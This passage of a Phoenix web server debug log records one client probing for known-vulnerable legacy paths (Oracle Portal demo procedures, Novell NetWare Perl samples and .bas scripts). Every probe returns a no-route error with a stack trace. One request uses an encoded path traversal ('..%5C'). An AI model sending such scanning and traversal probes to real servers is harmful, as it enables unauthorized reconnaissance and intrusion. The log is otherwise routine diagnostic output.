    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:57.508000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37296] GET /lcgi/sewse.nlm
[Thu Sep  3 08:04:57.527000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37296] ** (Phoenix.Router.NoRouteError) no route found for GET /lcgi/sewse.nlm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:57.813000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37308] GET /pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:57.849000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37308] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:58.344000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37310] GET /lcgi/sewse.nlm
[Thu Sep  3 08:04:58.367000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37310] ** (Phoenix.Router.NoRouteError) no route found for GET /lcgi/sewse.nlm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:58.512000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37312] GET /pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:58.528000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37312] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:59.066000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37324] GET /perl/samples/lancgi.pl
[Thu Sep  3 08:04:59.105000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37324] ** (Phoenix.Router.NoRouteError) no route found for GET /perl/samples/lancgi.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:59.180000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37340] GET /pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:59.213000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37340] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:59.805000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37356] GET /pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:59.830000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37356] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:59.986000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37364] GET /perl/samples/ndslogin.pl
[Thu Sep  3 08:05:00.003000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37364] ** (Phoenix.Router.NoRouteError) no route found for GET /perl/samples/ndslogin.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:00.451000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37368] GET /pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:05:00.478000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37368] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:00.707000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37384] GET /perl/samples/volscgi.pl
[Thu Sep  3 08:05:00.729000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37384] ** (Phoenix.Router.NoRouteError) no route found for GET /perl/samples/volscgi.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:01.090000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37394] GET /pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:05:01.129000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37394] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:01.553000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37396] GET /perl/samples/env.pl
[Thu Sep  3 08:05:01.583000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37396] ** (Phoenix.Router.NoRouteError) no route found for GET /perl/samples/env.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:02.437000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37398] GET /nsn/env.bas
[Thu Sep  3 08:05:02.524000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37398] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/env.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:03.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53456] GET /nsn/fdir.bas
[Thu Sep  3 08:05:03.490000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53456] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/fdir.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:09.359000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53464] GET /logout
[Thu Sep  3 08:05:09.384000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53464] ** (Phoenix.Router.NoRouteError) no route found for GET /logout (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:05:10.186000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53480] GET /nsn/..%5Cutil/chkvol.bas
[Thu Sep  3 08:05:10.212000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53480] ** (Phoenix.Router.NoRouteError) no route found for GET /nsn/..%5Cutil/chkvol.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
